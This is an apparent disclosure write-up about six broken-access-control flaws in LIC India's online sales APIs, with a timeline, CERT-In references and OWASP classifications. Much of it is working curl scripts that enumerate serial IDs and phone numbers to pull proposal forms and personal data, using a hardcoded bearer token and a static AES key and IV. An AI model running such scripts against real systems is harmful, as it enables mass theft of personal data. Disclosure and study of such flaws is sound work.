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LIC cyber vulnerabilities and data breaches 2024-2025

The Life Insurance Corporation of India (LIC) had 6 vulnerabilities in October 2024, December 2024 and April 2025 in their https://esales.licindia.in website (developed by iNube software solutions). Two of them allowed serial access to policy forms of prospect customers containing Name, DOB, email, phone, PAN card, income tax forms, aadhaar (or other IDs), signature, photo, medical history, address, income, nominees, other policy purchase details, etc.

The story was covered only in Medianama.

Summary of the vulnerabilities:

Sr API Date reported Date fixed Days taken CERT-in reference number
1 GenericDocumentViewer 16 October 2024 23 October 2024 7 not assigned due to non-reproducibility (due to delay in reporting it to CERT after reporting it to LIC)
2 GetPayLoadByQueryDynamic 16 October 2024, 6 December 2024 5 February 2025 112, 52 CERTIn-80801824
3 GetDocumentByIdPost 9 December 2024 28 January 2025 50 CERTIn-80801824
4 GetUserByUserIdPost 9 December 2024 28 January 2025 50 CERTIn-80801824
5 GenericSPApi 9 December 2024 28 January 2025 50 CERTIn-80801824
6 GetQuoteDetailByNumberPost 4 June 2025 25 July 2025 51 CERTIn-38009725

Root cause in OWASP terms:

  • A01 2021 Broken Access Control: CWE-35 Path Traversal, CWE-284 Improper Access Control, CWE-285 Improper Authorization
  • A04 2021 Insecure Design: CWE-73 External Control of File Name or Path, Insecure Direct Object Reference
  • A07 2021 Identification and Authentication Failures: CWE-287 Improper Authentication, CWE-613 Insufficient Session Expiration

Outcome

After repeated PGportal complaints against LIC, RTIs with LIC, RTIs with IRDAI and mails to IRDAI executive directors:

1. GenericDocumentViewer

This is it. One by one, all policy forms were accessible. A sample, redacted form is given at sample proposal.pdf

Discovered and reported on 16th October 2024. Fixed covered up on 23th October 2024. The fix implemented was wholly incomplete as shown in the vulnerability 2 below. The underlying API still remained vulnerable to serial access.

- https://esales.licindia.in/GenericDocumentViewer?DocId=24194_800210_MergedDocument.pdf
- https://esales.licindia.in/GenericDocumentViewer?DocId=24194_800211_MergedDocument.pdf
- https://esales.licindia.in/GenericDocumentViewer?DocId=24194_800212_MergedDocument.pdf
- https://esales.licindia.in/GenericDocumentViewer?DocId=24194_800213_MergedDocument.pdf
- https://esales.licindia.in/GenericDocumentViewer?DocId=24194_800214_MergedDocument.pdf
- https://esales.licindia.in/GenericDocumentViewer?DocId=24194_800215_MergedDocument.pdf

Sample Response

Open full proposal form

2. GetPayLoadByQueryDynamic

Accepted phone number and provided email, DOB, proposal document number which can be used in other APIs to get more data.

sample_script.sh
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#!/bin/bash
for phone in "0000000000"
do
  timestamp=$(date '+%F_%T')
  curl -vvv -X POST 'https://digiapi.licindia.in/api/Report/GetPayLoadByQueryDynamic'\
  -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVc2VySWQiOiI3M2M4MzJhNi03YzU1LTQzN2UtYjkyNy1hMzYwYTdhMDIxNzkiLCJFbWFpbCI6IkxJQ0RlbW9BZ2VudEBnbWFpbC5jb20iLCJPcmdJZCI6IjExMiIsIlBhcnRuZXJJZCI6IjAiLCJSb2xlIjoiTElDRGVtb0FnZW50IiwiTmFtZSI6IkxJQ0RlbW9BZ2VudCIsIlVzZXJOYW1lIjoiTElDRGVtb0FnZW50QGdtYWlsLmNvbSIsIlByb2R1Y3RUeXBlIjoiTWljYSIsIlNlcnZlclR5cGUiOiIxIiwiU2Vzc2lvbklkIjoiNjQyYjJhZDYtNjE3Yi00MjRkLThlOGItMWIzZTRjMWQwYWI2IiwiVGltZXpvbmVNaW4iOiIzMzAiLCJleHAiOjE4MjM4Njc0OTEsImlzcyI6IkludWJlIiwiYXVkIjoiSW51YmVNSUNBIn0.LvWId_MA3nHN9J-xw_ZDxfVHMPIa-sNbAQUn_w5LRxo'\
  -H 'appId: 642b2ad6-617b-424d-8e8b-1b3e4c1d0ab6'\
  -H 'TE: trailers' -d "{\"reportname\":\"TrackApplicationData\",\"paramList\":[{\"parameterName\":\"MobileNo\",\"parameterValue\":\"${phone}\"},{\"parameterName\":\"ChannelType\",\"parameterValue\":\"D2C\"}]}" \
  -o "getpayloadbyqueryd_${phone}_${timestamp}.json" ;
done
Sample response 
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{
    "finalResult": [
        {
            "OppurtunityID": $$$$$$$$,
            "MobileNo": "$$$$$$$$",
            "Email": "$$$$$$$$",
            "DateOfBirth": "$$$$$$$$",
            "Name": "$$$$$$$$ ",
            "StageID": $$$$$$$$,
            "Gender": "$$$$$$$$",
            "PlanNumber": "$$$$$$$$",
            "PlanName": "$$$$$$$$",
            "AdditionalDetails": null,
            "OpportunityNumber": "$$$$$$$$"
        }
    ],
    "statusCode": 0,
    "responseMessage": "Query Executed Successfully",
    "id": null,
    "status": 1,
    "errors": [],
    "messageKey": null,
    "messageValue": [],
    "correlationId": null,
    "data": null
}

3. GetDocumentByIdPost

This API accepted an encrypted document ID and returns the document. The encryption was done using AES-128-CBC with a static key and IV - exposed in the front-end code. The API was vulnerable to serial access as the document ID is an ever-increasing number, same as the vulnerability 1. The API response was a base64 encoded string which was decoded to get the document.

The bearer token, as visible on jwt.io, was valid for three years. Further, it was not tied to any user session and was used to access anyone's documents as long as the SessionId in the token was the same as the appId in headers (which is trivial).

Discovered and reported on 31 December 2024. Fixed on 19 February 2025.

sample_script.sh
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#!/bin/bash
# Hexadecimal key exposed in the front-end code.
KEY="3539613231367a34394b336235384434"
# Hexadecimal IV exposed in the front-end code.
IV="756336394a4e353733683766366d6b36"

encrypt() {
  echo $(echo -n "$1" | openssl enc -e -aes-128-cbc -base64 -A -K "$KEY" -iv "$IV" -nosalt)
}

for opp_ids in "24194_800210_MergedDocument.pdf" "24194_800211_MergedDocument.pdf" ; do

  # The payload is the encrypted yet serial document ID.
  payload="{\"id\":\"$(encrypt "$opp_ids")\"}"

  # The appId header is a static value, same as the claim "SessionId" in the JWT token.
  # The Authorization header is a static value.
  curl -v -X POST 'https://digiapi.licindia.in/api/DMS/GetDocumentByIdPost' \
    -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVc2VySWQiOiI3M2M4MzJhNi03YzU1LTQzN2UtYjkyNy1hMzYwYTdhMDIxNzkiLCJFbWFpbCI6IkxJQ0RlbW9BZ2VudEBnbWFpbC5jb20iLCJPcmdJZCI6IjExMiIsIlBhcnRuZXJJZCI6IjAiLCJSb2xlIjoiTElDRGVtb0FnZW50IiwiTmFtZSI6IkxJQ0RlbW9BZ2VudCIsIlVzZXJOYW1lIjoiTElDRGVtb0FnZW50QGdtYWlsLmNvbSIsIlByb2R1Y3RUeXBlIjoiTWljYSIsIlNlcnZlclR5cGUiOiIxIiwiU2Vzc2lvbklkIjoiNjQyYjJhZDYtNjE3Yi00MjRkLThlOGItMWIzZTRjMWQwYWI2IiwiVGltZXpvbmVNaW4iOiIzMzAiLCJleHAiOjE4MjM4Njc0OTEsImlzcyI6IkludWJlIiwiYXVkIjoiSW51YmVNSUNBIn0.LvWId_MA3nHN9J-xw_ZDxfVHMPIa-sNbAQUn_w5LRxo' \
    -H 'appId: 642b2ad6-617b-424d-8e8b-1b3e4c1d0ab6' \
    -d "${payload}" -o "getdocumentbyidpost_${opp_ids}.txt"

  # The response is a JSON object with a "data" field containing the base64 string
  awk -F'"' '/"data":/ {print $(4)}' "getdocumentbyidpost_${opp_ids}.txt" >"getdocumentbyidpost_${opp_ids}"
  # Extract the base64 encoded document from the response and decode it.
  base64 --decode "getdocumentbyidpost_${opp_ids}" >"getdocumentbyidpost_dec_${opp_ids}"

done
Sample response 
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{
    "data": "PgpzdGFydHhyZWYKMTMxMzgyCiUlRU9GCg==",
    "fileExtension": "pdf",
    "responseMessage": null,
    "fileName": "AAAAAA==",
    "id": null,
    "status": 1,
    "errors": [],
    "messageKey": null,
    "messageValue": [],
    "correlationId": null
}

4. GetUserByUserIdPost

Accepted a UUID user ID

sample_script.sh
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#!/bin/bash
for id in '$$$$$$$$-$$$$-$$$$-$$$$-$$$$$$$$$$$$';
do
  curl 'https://digiapi.licindia.in/api/UserProfile/GetUserByUserIdPost' -X POST \
  -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVc2VySWQiOiI3M2M4MzJhNi03YzU1LTQzN2UtYjkyNy1hMzYwYTdhMDIxNzkiLCJFbWFpbCI6IkxJQ0RlbW9BZ2VudEBnbWFpbC5jb20iLCJPcmdJZCI6IjExMiIsIlBhcnRuZXJJZCI6IjAiLCJSb2xlIjoiTElDRGVtb0FnZW50IiwiTmFtZSI6IkxJQ0RlbW9BZ2VudCIsIlVzZXJOYW1lIjoiTElDRGVtb0FnZW50QGdtYWlsLmNvbSIsIlByb2R1Y3RUeXBlIjoiTWljYSIsIlNlcnZlclR5cGUiOiIxIiwiU2Vzc2lvbklkIjoiNjQyYjJhZDYtNjE3Yi00MjRkLThlOGItMWIzZTRjMWQwYWI2IiwiVGltZXpvbmVNaW4iOiIzMzAiLCJleHAiOjE4MjM4Njc0OTEsImlzcyI6IkludWJlIiwiYXVkIjoiSW51YmVNSUNBIn0.LvWId_MA3nHN9J-xw_ZDxfVHMPIa-sNbAQUn_w5LRxo' \
  -H 'appId: 642b2ad6-617b-424d-8e8b-1b3e4c1d0ab6' \
  --data-raw "{\"id\":\"$id\"}" \
  -o "getuserbyuseridpost_${id}.json" ;
  sleep 1
done
Sample response 
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{
    "nodeId": $$$$.$,
    "userId": "$$$$$$$$-$$$$-$$$$-$$$$-$$$$$$$$$$$$",
    "userName": "<$$$$$$$@$$$$$.$$$>",
    "userParentId": null,
    "status": true,
    "createdBy": "",
    "createdDate": "2024-01-24T12:40:43.467",
    "locked": true,
    "lockedReason": "",
    "lockStartDate": null,
    "lockEndDate": null,
    "lockMechanism": true,
    "officeId": 0.0,
    "roleId": "$$$$$$$$-$$$$-$$$$-$$$$-$$$$$$$$$$$$",
    "salutationId": null,
    "firstName": "$$$$$$$$",
    "middleName": "",
    "lastName": "",
    "employeeNumber": "0",
    "dob": "2024-01-24T00:00:00",
    "doj": "2024-01-24T00:00:00",
    "genderId": 2,
    "email": "<$$$$$$$@$$$$$.$$$>",
    "passportNumber": "",
    "drivingLicenceNumber": "",
    "contactNumber": "$$$$$$$$$$",
    "userTypeId": $$$$$$,
    "panNo": "$$$$$$$$$",
    "lastLoginDateTime": null,
    "isIos": true,
    "isAndroid": true,
    "isWindows": true,
    "isPasswordChanged": true,
    "landLineOffice": "",
    "landLineResidence": "",
    "organizationId": $$$$$$,
    "partnerId": $$$$,
    "branchName": "JP Nagar",
    "branchCode": "JP01",
    "designation": "",
    "maritalStatusId": 4,
    "profileImage": "AAAAAA==",
    "partnerName": "",
    "modifiedBy": null,
    "modifiedDate": null,
    "isActive": true,
    "userlocked": false,
    "genderDetail": "Male",
    "maritalStatus": "Single",
    "userDetailsJson": {
        "ChannelType": "D2C"
    }
}

5. GenericSPApi

Accepted a JSON payload with an encrypted Application_ID. The API returned a JSON object with the details of the proposal, including the proposer details, risk items, and channel details.

sample_script.sh
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#!/bin/bash
for ((opp_ids=1252200; opp_ids<=1252210; opp_ids++)) ;
do
  payload="{\"Application_ID\":${opp_ids},\"KeyValues\":[{\"key\":\"$(encrypt "OpportunityId")\",\"value\":\"$(encrypt "${opp_ids}")\"},{\"key\":\"$(encrypt "Type")\",\"value\":\"$(encrypt "ACR")\"}]}"

  curl -f -X  POST 'https://digiapi.licindia.in/api/Product/GenericSPApi?ApiName=CommonDetailsForLifeProposal'\
  -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVc2VySWQiOiI3M2M4MzJhNi03YzU1LTQzN2UtYjkyNy1hMzYwYTdhMDIxNzkiLCJFbWFpbCI6IkxJQ0RlbW9BZ2VudEBnbWFpbC5jb20iLCJPcmdJZCI6IjExMiIsIlBhcnRuZXJJZCI6IjAiLCJSb2xlIjoiTElDRGVtb0FnZW50IiwiTmFtZSI6IkxJQ0RlbW9BZ2VudCIsIlVzZXJOYW1lIjoiTElDRGVtb0FnZW50QGdtYWlsLmNvbSIsIlByb2R1Y3RUeXBlIjoiTWljYSIsIlNlcnZlclR5cGUiOiIxIiwiU2Vzc2lvbklkIjoiNjQyYjJhZDYtNjE3Yi00MjRkLThlOGItMWIzZTRjMWQwYWI2IiwiVGltZXpvbmVNaW4iOiIzMzAiLCJleHAiOjE4MjM4Njc0OTEsImlzcyI6IkludWJlIiwiYXVkIjoiSW51YmVNSUNBIn0.LvWId_MA3nHN9J-xw_ZDxfVHMPIa-sNbAQUn_w5LRxo' \
  -H 'appId: 642b2ad6-617b-424d-8e8b-1b3e4c1d0ab6' \
  -d "${payload}" -o generic_spapi_${opp_ids}.json
  sleep 1
 done
Sample response 
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{
    "finalResult": {
        "QuotationList": [
            "$$$$$$$$$$$$"
        ],
        "GuIdDetails": [],
        "ChannelDetails": {
            "merchantid": "$$$$$$$$",
            "validuser": $$,
            "merchant_name": "$$$$$$$$",
            "agency_code": "$$$$$$$$",
            "agency_type": "$$",
            "agent_name": "$$$$$$$$",
            "ag_dob": "$$$$$$$$",
            "ag_gender": "$$",
            "ag_mobileno": "$$$$$$$$$$",
            "ag_emailid": "$$$@$$$.$$$",
            "ag_branch": "$$$ ",
            "ag_club": "$$",
            "ag_appointment_date": "$$-$$-$$$$",
            "mdrt_code": "$$",
            "brigadeship": "$$",
            "clia_co_code": "$$",
            "supervisor": $$,
            "supervisor_type": "$$",
            "supervisor_code": "$$$$$$",
            "supervisor_branch": "$$$",
            "supervisor_mobileno": "$$$$$$$$$$",
            "supervisor_emailid": "$$$@$$$.$$$",
            "supervisor_name": "$$$$$$$$",
            "dev_off_code": "$$$$$$",
            "dev_off_srno": "$$$$$$$$",
            "dev_off_type": "$$$",
            "message": "$$$$$$",
            "ChannelType": "$$$",
            "BranchCode": "$$$",
            "ClubCodeDescription": "$$$$$$$$$$$$$$$$ $$$$",
            "BranchDetails": {
                "mID": "$$$",
                "BranchCode": "$$$",
                "BranchName": "                                $$$$$$$ ",
                "Address1": " MYSORE-BANGALORE ROAD,                 ",
                "Address2": "                        NEAR KOLLY CIRCLE ",
                "Address3": "MADDUR , MANDYA DIST",
                "Pincode": "571428",
                "Email": "bo_61N@licindia.com",
                "DivisionCode": "V072",
                "ZoneCode": "5",
                "GSTNo": "29AAACL0582H2ZH"
            },
            "DocumentsUploadedBy": "No",
            "DocumentUploadStatus": true,
            "OTPforVerify": "486730",
            "OTPTransactionNo": "609431",
            "OTPVerifyStatus": true,
            "ACRProcessedDateTime": "15-10-2024 17:37:17"
        },
        "MHRAllocation": {
            "AuthorityCode": null,
            "AllocationBranch": null,
            "MaxSUC": 200000,
            "AnnexureAuthorityCode": null,
            "PEPAuthorityCode": null
        },
        "Category": {
            "IsMedical": "No",
            "IsMHR": "No",
            "IsPEP": "No",
            "IsAnnexure": "Yes",
            "AutoCompletionStatus": "Auto",
            "Reason": ""
        },
        "RiskItems": [
            {
                "MemberId": 0,
                "Name": "$$$",
                "Gender": "$$$$$$",
                "Relation": "Self",
                "DOB": "$$$$-$$-$$",
                "Age": $$$$,
                "proposerNotAnInsured": "No",
                "Category": {
                    "NMCategory": "",
                    "FemaleCategory": "A3",
                    "MedicalType": "",
                    "MedicalReports": "",
                    "IsMHR": "No",
                    "MHRType": "",
                    "IsPEP": "No",
                    "IsAnnexure": "Yes",
                    "AutoCompletionStatus": "",
                    "Reason": ""
                },
                "Questionnare": [
                    {
                        "LevelNo": 100000000,
                        "QId": 5260,
                        "QText": "Product  related  information",
                        "ControlType": "Header",
                        "MasterType": "BooleanValue",
                        "OnChangeVal": "",
                        "Visibility": "true",
                        "QSubType": "ACR"
                    },
                    {
                        "LevelNo": 100000000,
                        "QId": 5319,
                        "QText": "I Mr/Ms have gone through the details of the Proposal No(s) __on the life of Mr/Ms and the same is verified by me. I am satisfied with the identity of the customer and on the basis of my independent enquiries, I hereby declare that the information given in the said proposal form is true and correct to the best of my knowledge and belief.",
                        "ControlType": "MHR",
                        "OnChangeVal": "",
                        "Visibility": "true",
                        "QSubType": "MHR"
                    },
                    {
                        "LevelNo": 101000000,
                        "QId": 5261,
                        "QText": "Whether the terms and conditions of the proposed plan(s) have been explained to the proposer/ life to be assured?",
                        "QParentId": 5260,
                        "DefaultValue": "Yes",
                        "ControlType": "Radio",
                        "MasterType": "BooleanValue",
                        "OnChangeVal": "",
                        "Visibility": "true",
                        "QSubType": "ACR"
                    },
                    {
                        "LevelNo": 102000000,
                        "QId": 5262,
                        "QText": "Whether the proposed plan(s) matches the objectives of insurance of the proposer/ life to be assured ?",
                        "QParentId": 5260,
                        "DefaultValue": "Yes",
                        "ControlType": "Radio",
                        "MasterType": "BooleanValue",
                        "OnChangeVal": "",
                        "Visibility": "true",
                        "QSubType": "ACR"
                    },
                    {
                        "LevelNo": 103000000,
                        "QId": 5263,
                        "QText": "Have you provided the Benefit Illustration statement of the proposed plan(s) to the proposer/ life to be assured ?",
                        "QParentId": 5260,
                        "DefaultValue": "Yes",
                        "ControlType": "Radio",
                        "MasterType": "BooleanValue",
                        "OnChangeVal": "",
                        "Visibility": "true",
                        "QSubType": "ACR"
                    },
                    {
                        "LevelNo": 200000000,
                        "QId": 5264,
                        "QText": "Information about  the  proposer/ Life to be assured",
                        "ControlType": "Header",
                        "MasterType": "BooleanValue",
                        "OnChangeVal": "",
                        "Visibility": "true",
                        "QSubType": "ACR"
                    },
                    {
                        "LevelNo": 201000000,
                        "QId": 5265,
                        "QText": "How long do you know the proposer/ life to be assured?",
                        "QParentId": 5264,
                        "ControlType": "LabelAndNumericTextBox",
                        "MasterType": "BooleanValue",
                        "OnChangeVal": "",
                        "DetailsLabel": "Please share the Details in Days",
                        "Visibility": "true",
                        "QSubType": "ACR"
                    },
                    {
                        "LevelNo": 202000000,
                        "QId": 5308,
                        "QText": "Select Period",
                        "QParentId": 5264,
                        "ControlType": "LabelAndDropDown",
                        "MasterType": "[\"Days\",\"Weeks\",\"Months\",\"Years\"]",
                        "OnChangeVal": "",
                        "Visibility": "true",
                        "QSubType": "ACR"
                    },
                    {
                        "LevelNo": 203000000,
                        "QId": 5266,
                        "QText": "Are you related to him/her? If so, give details",
                        "QParentId": 5264,
                        "DefaultValue": "",
                        "ControlType": "Radio",
                        "MasterType": "BooleanValue",
                        "OnChangeVal": "",
                        "DetailsLabel": "Enter Details",
                        "Visibility": "true",
                        "QSubType": "ACR"
                    },
                    {
                        "LevelNo": 203010000,
                        "QId": 5309,
                        "QText": "Enter Details",
                        "QParentId": 5266,
                        "ControlType": "TextBox",
                        "OnChangeVal": "yes",
                        "Visibility": "true",
                        "QSubType": "ACR"
                    },
                    {
                        "LevelNo": 204000000,
                        "QId": 5267,
                        "QText": "What is the educational qualifications of the proposer/ Life to be assured  ?",
                        "QParentId": 5264,
                        "ControlType": "LabelAndTextBox",
                        "MasterType": "BooleanValue",
                        "OnChangeVal": "",
                        "DetailsLabel": "Enter Details",
                        "Visibility": "true",
                        "QSubType": "ACR"
                    },
                    {
                        "LevelNo": 205000000,
                        "QId": 5268,
                        "QText": "If proposer/ Life to be assured is FNIO, whether OCI (Overseas Citizen of India) card  is verified?",
                        "QParentId": 5264,
                        "DefaultValue": "No",
                        "ControlType": "Radio",
                        "MasterType": "BooleanValue",
                        "OnChangeVal": "",
                        "DetailsLabel": "Enter Details",
                        "Visibility": "true",
                        "QSubType": "ACR"
                    },
                    {
                        "LevelNo": 206000000,
                        "QId": 5269,
                        "QText": " Whether proposer/ Life to be assured or his / her family member/s  is/are Politically Exposed Person (PEP) as per RBI guidelines?  [As per RBI guidelines PEPs are the individuals who are or have been entrusted with prominent public functions in a foreign country.]",
                        "QParentId": 5264,
                        "DefaultValue": "No",
                        "ControlType": "Radio",
                        "MasterType": "BooleanValue",
                        "OnChangeVal": "",
                        "DetailsLabel": "Enter Details",
                        "Visibility": "true",
                        "QSubType": "ACR"
                    },
                    {
                        "LevelNo": 207000000,
                        "QId": 5270,
                        "QText": "Are you satisfied that the proposer/ Life to be assured is not connected with any  terrorist activities ?",
                        "QParentId": 5264,
                        "DefaultValue": "Yes",
                        "ControlType": "Radio",
                        "MasterType": "BooleanValue",
                        "OnChangeVal": "",
                        "DetailsLabel": "Enter Details",
                        "Visibility": "true",
                        "QSubType": "ACR"
                    },
                    {
                        "LevelNo": 208000000,
                        "QId": 5271,
                        "QText": "Whether KYC/ PMLA norms are fulfilled for the proposer/ Life to be assured  ?",
                        "QParentId": 5264,
                        "DefaultValue": "Yes",
                        "ControlType": "Radio",
                        "MasterType": "BooleanValue",
                        "OnChangeVal": "",
                        "DetailsLabel": "Enter Details",
                        "Visibility": "true",
                        "QSubType": "ACR"
                    },
                    {
                        "LevelNo": 300000000,
                        "QId": 5272,
                        "QText": "Financial assessment by the Agent",
                        "ControlType": "Header",
                        "MasterType": "BooleanValue",
                        "OnChangeVal": "",
                        "DetailsLabel": "Enter Details",
                        "Visibility": "true",
                        "QSubType": "ACR"
                    },
                    {
                        "LevelNo": 301000000,
                        "QId": 5273,
                        "QText": "Exact Source of Income",
                        "QParentId": 5272,
                        "ControlType": "TextBox",
                        "MasterType": "BooleanValue",
                        "OnChangeVal": "",
                        "DetailsLabel": "Enter Details",
                        "Visibility": "true",
                        "QSubType": "ACR"
                    },
                    {
                        "LevelNo": 302000000,
                        "QId": 5274,
                        "QText": "Income through employment/ Business/ Profession",
                        "QParentId": 5272,
                        "ControlType": "TextBox",
                        "MasterType": "BooleanValue",
                        "OnChangeVal": "",
                        "DetailsLabel": "Enter Details",
                        "Visibility": "true",
                        "QSubType": "ACR"
                    },
                    {
                        "LevelNo": 303000000,
                        "QId": 5275,
                        "QText": "Income through HUF",
                        "QParentId": 5272,
                        "ControlType": "TextBox",
                        "MasterType": "BooleanValue",
                        "OnChangeVal": "",
                        "DetailsLabel": "Enter Details",
                        "Visibility": "true",
                        "QSubType": "ACR"
                    },
                    {
                        "LevelNo": 304000000,
                        "QId": 5276,
                        "QText": "Income through other sources in detail",
                        "QParentId": 5272,
                        "ControlType": "TextBox",
                        "MasterType": "BooleanValue",
                        "OnChangeVal": "",
                        "DetailsLabel": "Enter Details",
                        "Visibility": "true",
                        "QSubType": "ACR"
                    },
                    {
                        "LevelNo": 400000000,
                        "QId": 5277,
                        "QText": "Mention the proof of income verified by you in respect of income stated above",
                        "ControlType": "Header",
                        "MasterType": "BooleanValue",
                        "OnChangeVal": "",
                        "Visibility": "true",
                        "QSubType": "ACR"
                    },
                    {
                        "LevelNo": 401000000,
                        "QId": 5278,
                        "QText": "ITRs/ Form 16/ 26 AS",
                        "QParentId": 5277,
                        "ControlType": "CheckBox",
                        "MasterType": "no",
                        "OnChangeVal": "",
                        "Visibility": "true",
                        "QSubType": "ACR"
                    },
                    {
                        "LevelNo": 402000000,
                        "QId": 5279,
                        "QText": "Bank statement,",
                        "QParentId": 5277,
                        "ControlType": "CheckBox",
                        "MasterType": "no",
                        "OnChangeVal": "",
                        "Visibility": "true",
                        "QSubType": "ACR"
                    },
                    {
                        "LevelNo": 403000000,
                        "QId": 5280,
                        "QText": "Salary sheet with appointment letter or salary certificate issued by the Employer",
                        "QParentId": 5277,
                        "ControlType": "CheckBox",
                        "MasterType": "no",
                        "OnChangeVal": "",
                        "Visibility": "true",
                        "QSubType": "ACR"
                    },
                    {
                        "LevelNo": 404000000,
                        "QId": 5281,
                        "QText": "CA certificate/ Audited accounts etc.",
                        "QParentId": 5277,
                        "ControlType": "CheckBox",
                        "MasterType": "no",
                        "OnChangeVal": "",
                        "Visibility": "true",
                        "QSubType": "ACR"
                    },
                    {
                        "LevelNo": 405000000,
                        "QId": 5282,
                        "QText": "What is the PAN number?",
                        "QParentId": 5277,
                        "ControlType": "TextBox",
                        "OnChangeVal": "",
                        "Visibility": "true",
                        "QSubType": "ACR"
                    },
                    {
                        "LevelNo": 406000000,
                        "QId": 5297,
                        "QText": "Whether verified and compared with the PAN mentioned in the Income Proof?",
                        "QParentId": 5277,
                        "DefaultValue": "Yes",
                        "ControlType": "Radio",
                        "OnChangeVal": "",
                        "Visibility": "true",
                        "QSubType": "ACR"
                    },
                    {
                        "LevelNo": 407000000,
                        "QId": 5283,
                        "QText": "Are you personally satisfied with the financial standing of the proposer/life assured and justify the current proposal ?",
                        "QParentId": 5277,
                        "DefaultValue": "Yes",
                        "ControlType": "Radio",
                        "MasterType": "BooleanValue",
                        "OnChangeVal": "",
                        "Visibility": "true",
                        "QSubType": "ACR"
                    },
                    {
                        "LevelNo": 500000000,
                        "QId": 5284,
                        "QText": "Previous insurance details  including from other insurers",
                        "ControlType": "Header",
                        "MasterType": "BooleanValue",
                        "OnChangeVal": "",
                        "Visibility": "true",
                        "QSubType": "ACR"
                    },
                    {
                        "LevelNo": 501000000,
                        "QId": 5285,
                        "QText": "Did you discuss with the proposer/Life to be assured  the status of Previous Policies and are you satisfied that no policy has lapsed within the last three years ?",
                        "QParentId": 5284,
                        "DefaultValue": "Yes",
                        "ControlType": "Radio",
                        "MasterType": "BooleanValue",
                        "OnChangeVal": "",
                        "Visibility": "true",
                        "QSubType": "ACR"
                    },
                    {
                        "LevelNo": 502000000,
                        "QId": 5286,
                        "QText": "Are you aware of any Proposal (or Revival of any policy) of the proposer/ life to be assured having been deferred, declined, dropped or accepted at terms other than those proposed ?",
                        "QParentId": 5284,
                        "DefaultValue": "No",
                        "ControlType": "Radio",
                        "MasterType": "BooleanValue",
                        "OnChangeVal": "",
                        "Visibility": "true",
                        "QSubType": "ACR"
                    },
                    {
                        "LevelNo": 600000000,
                        "QId": 5287,
                        "QText": "Information about  health , Habit and occupation/ avocation etc",
                        "ControlType": "Header",
                        "MasterType": "BooleanValue",
                        "OnChangeVal": "",
                        "Visibility": "true",
                        "QSubType": "ACR"
                    },
                    {
                        "LevelNo": 601000000,
                        "QId": 5288,
                        "QText": "what is the general state of health of the life to be assured?",
                        "QParentId": 5287,
                        "ControlType": "LabelAndDropDown",
                        "MasterType": "[\"Good\",\"NotGood\"]",
                        "OnChangeVal": "",
                        "DetailsLabel": "Enter Details",
                        "Visibility": "true",
                        "QSubType": "ACR"
                    },
                    {
                        "LevelNo": 602000000,
                        "QId": 5289,
                        "QText": "Does he/she have any physical deformity or Mental Retardation ?",
                        "QParentId": 5287,
                        "DefaultValue": "No",
                        "ControlType": "Radio",
                        "MasterType": "BooleanValue",
                        "OnChangeVal": "",
                        "DetailsLabel": "Enter Details",
                        "Visibility": "true",
                        "QSubType": "ACR"
                    },
                    {
                        "LevelNo": 603000000,
                        "QId": 5290,
                        "QText": "Do you have any knowledge of his/her having suffered from any illness or injury or undergone any operation or medical investigation?",
                        "QParentId": 5287,
                        "DefaultValue": "No",
                        "ControlType": "Radio",
                        "MasterType": "BooleanValue",
                        "OnChangeVal": "",
                        "DetailsLabel": "Enter Details",
                        "Visibility": "true",
                        "QSubType": "ACR"
                    },
                    {
                        "LevelNo": 604000000,
                        "QId": 5293,
                        "QText": "Are you aware of anything in the occupation, financial or social position of the life to be assured, his/her  personal habits or any other circumstances which might be likely to add to the risk ?",
                        "QParentId": 5287,
                        "DefaultValue": "No",
                        "ControlType": "Radio",
                        "MasterType": "BooleanValue",
                        "OnChangeVal": "",
                        "DetailsLabel": "Enter Details",
                        "Visibility": "true",
                        "QSubType": "ACR"
                    },
                    {
                        "LevelNo": 700000000,
                        "QId": 5310,
                        "QText": "Physical Measurement of the life to be assured :",
                        "ControlType": "Header",
                        "OnChangeVal": "",
                        "Visibility": "true",
                        "QSubType": "ACR"
                    },
                    {
                        "LevelNo": 701000000,
                        "QId": 5291,
                        "QText": "Height of the life to be assured ( in Cms)",
                        "QParentId": 5310,
                        "ControlType": "TextBox",
                        "OnChangeVal": "",
                        "DetailsLabel": "Enter Details",
                        "Visibility": "true",
                        "QSubType": "ACR"
                    },
                    {
                        "LevelNo": 702000000,
                        "QId": 5292,
                        "QText": "Weight of the life to be assured ( in Kgs)",
                        "QParentId": 5310,
                        "ControlType": "TextBox",
                        "OnChangeVal": "",
                        "DetailsLabel": "Enter Details",
                        "Visibility": "true",
                        "QSubType": "ACR"
                    },
                    {
                        "LevelNo": 703000000,
                        "QId": 5294,
                        "QText": "Any other information",
                        "QParentId": 5310,
                        "ControlType": "TextBox",
                        "MasterType": "false",
                        "OnChangeVal": "",
                        "DetailsLabel": "Enter Details",
                        "Visibility": "true",
                        "QSubType": "ACR"
                    },
                    {
                        "LevelNo": 800000000,
                        "QId": 5295,
                        "QText": "Declaration",
                        "ControlType": "Header",
                        "MasterType": "BooleanValue",
                        "OnChangeVal": "",
                        "Visibility": "true",
                        "QSubType": "ACR"
                    },
                    {
                        "LevelNo": 801000000,
                        "QId": 5296,
                        "QText": "I further hereby declare that the foregoing statements are true and correct to the best of my knowledge and belief.",
                        "QParentId": 5295,
                        "ControlType": "CheckBox",
                        "OnChangeVal": "",
                        "Visibility": "true",
                        "QSubType": "ACR"
                    }
                ],
                "DocumentDetails": [
                    {}
                ]
            }
        ],
        "QuotationWiseDetails": [
            {
                "QuoteNo": "$$$",
                "RiskItems": [
                    {
                        "memberId": 0,
                        "name": "$$$",
                        "Gender": "$$$$$$",
                        "Relation": "Self",
                        "DOB": "$$$$-$$-$$",
                        "Age": $$$$,
                        "Questionnare": [
                            {
                                "LevelNo": 100000000,
                                "QId": 5260,
                                "QText": "Product  related  information",
                                "ControlType": "Header",
                                "MasterType": "BooleanValue",
                                "OnChangeVal": "",
                                "Visibility": "true",
                                "QSubType": "ACR"
                            },
                            {
                                "LevelNo": 100000000,
                                "QId": 5319,
                                "QText": "I Mr/Ms have gone through the details of the Proposal No(s) __on the life of Mr/Ms and the same is verified by me. I am satisfied with the identity of the customer and on the basis of my independent enquiries, I hereby declare that the information given in the said proposal form is true and correct to the best of my knowledge and belief.",
                                "ControlType": "MHR",
